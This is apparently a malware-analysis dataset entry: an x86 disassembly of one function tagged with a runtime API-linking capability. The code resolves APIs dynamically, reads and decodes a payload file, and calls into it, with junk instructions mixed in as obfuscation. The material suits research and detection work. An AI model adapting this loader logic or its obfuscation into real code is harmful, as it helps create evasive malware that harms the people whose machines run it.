Function at 0x10020840
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1002bb1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
add eax, 0
jne 0x1002085b
je 0x1002085b
call 0x6502c8e2
add eax, 0
push ebp
nop
mov ebp, esp
add esp, 0x51
add esp, 0xffffffaf
push edi
pop edi
mov esp, ebp
pop ebp
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.PathRemoveFileSpecA
push str.Shlwapi.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x6d
mov byte [ebp - 0xc], 0x70
push ebp
mov ebp, esp
inc ecx
dec ecx
add esp, 0x10
sub esp, 0x10
test esi, esi
add esp, 0x3e
sub esp, 0x3e
mov esp, ebp
pop ebp
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call esi
push 0x1002cf58
call dword [ebp - 0x1c]
push 0xffffffffffffffff
push 0x10023878
push 0x10023874
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebp
mov ebp, esp
add esp, 0x3e
add esp, 0xffffffc2
push 0xffff98a0
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
lea eax, [ebp - 0x10]
push eax
push 0x1002cf58
call fcn.100207c0
add esp, 8
add esp, 0x72
add esp, 0xffffff8e
inc ecx
dec ecx
add esp, 0x16
sub esp, 0x16
push 0xffff8016
push 0x10023868
push str.kernel32.dll
call edi
push eax
call ebx
mov dword [ebp - 0x1c], eax
add esp, 8
add esp, 0xfffffff8
add esp, 0x12
sub esp, 0x12
push 0
call esi
add esp, 0xb
sub esp, 0xb
push 0xffffc2b4
add esp, 0x10
add esp, 0xfffffff0
push 0xffffffffffffffff
push 0x10023854
push 0x10023850
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push str.GetFileSize
push str.kernel32.dll
call edi
push eax
call ebx
mov dword [ebp - 0x20], eax
add esp, 0xd
sub esp, 0xd
push 0xffffef82
add esp, 0xf
add esp, 0xfffffff1
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x1002cf58
call dword [ebp - 0x1c]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp - 0x1c], ebx
je 0x10020bd8
push ebp
nop
mov ebp, esp
push 0xffffbf89
inc ecx
dec ecx
mov esp, ebp
pop ebp
push 0xffffffffffffffff
push 0x10023840
push 0x1002383c
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push ebx
call dword [ebp - 0x20]
cmp eax, 0x1d1ac
mov dword [ebp - 0x18], eax
jb 0x10020bd8
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 0xe
add esp, 0xfffffff2
add esp, 0x51
add esp, 0xffffffaf
mov esp, ebp
pop ebp
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.10002518
add esp, 4
mov dword [ebp - 0x20], eax
push ebp
mov ebp, esp
inc ecx
dec ecx
push ebx
pop ebx
add esp, 0x15
add esp, 0xffffffeb
test esi, esi
mov esp, ebp
nop
pop ebp
push 0x10023830
push str.kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xffffffffffffffff
push 0x1002382c
push 0x10023828
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebp
mov ebp, esp
inc ecx
dec ecx
add esp, 0xb
add esp, 0xfffffff5
mov esp, ebp
pop ebp
push 1
call esi
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
push 0
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x1c]
push eax
push ecx
push edx
call ebx
push 0
call esi
push ebp
mov ebp, esp
push esi
pop esi
nop
mov esp, ebp
pop ebp
push 0xffffffffffffffff
push 0x10023850
push 0x10023854
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x1002381c
push str.kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
nop
nop
mov ebp, esp
add esp, 0xb
sub esp, 0xb
add esp, 0xf
add esp, 0xfffffff1
add esp, 0x5b
sub esp, 0x5b
nop
nop
mov esp, ebp
pop ebp
mov ecx, dword [ebp - 0x1c]
push ecx
call eax
nop
push ebp
nop
mov ebp, esp
add esp, 0xd
sub esp, 0xd
add esp, 0x29
add esp, 0xffffffd7
add esp, 7
add esp, 0xfffffff9
nop
mov esp, ebp
pop ebp
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
push 0x10023818
push edx
push eax
call fcn.10020700
add esp, 0xc
nop
nop
push ebp
nop
mov ebp, esp
test esi, esi
push edi
pop edi
test esi, esi
push ebx
pop ebx
nop
mov esp, ebp
nop
pop ebp
xor eax, eax
mov word [ebp - 0x13], ax
mov byte [ebp - 0x11], al
mov byte [ebp - 0x14], 0x52
mov byte [ebp - 0x13], 0x75
mov byte [ebp - 0x12], 0x6e
nop
push ebp
mov ebp, esp
inc ecx
dec ecx
add esp, 0x5b
sub esp, 0x5b
add esp, 0xb
add esp, 0xfffffff5
mov esp, ebp
pop ebp
mov edi, dword [ebp - 0x20]
push edi
call fcn.10001950
add esp, 4
mov esi, eax
push ebp
mov ebp, esp
add esp, 0xd
sub esp, 0xd
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
test esi, esi
je 0x10020bb3
push ebp
nop
mov ebp, esp
test esi, esi
add esp, 1
add esp, 0xffffffff
add esp, 0x47
add esp, 0xffffffb9
nop
mov esp, ebp
nop
pop ebp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x14]
push ecx
push esi
call fcn.100017a0
add esp, 8
mov dword [ebp - 0x1c], eax
nop
nop
push ebp
mov ebp, esp
push ebx
pop ebx
test esi, esi
add esp, 1
add esp, 0xffffffff
add esp, 1
sub esp, 1
mov esp, ebp
nop
pop ebp
push 0xffffffffffffffff
push 0x10023814
push 0x10023814
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call dword [ebp - 0x1c]
nop
nop
push ebp
nop
mov ebp, esp
add esp, 6
add esp, 0xfffffffa
add esp, 7
add esp, 0xfffffff9
mov esp, ebp
nop
pop ebp
push esi
call fcn.100018a0
push edi
call fcn.10002513
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.1000f8f7
mov esp, ebp
pop ebp
ret 4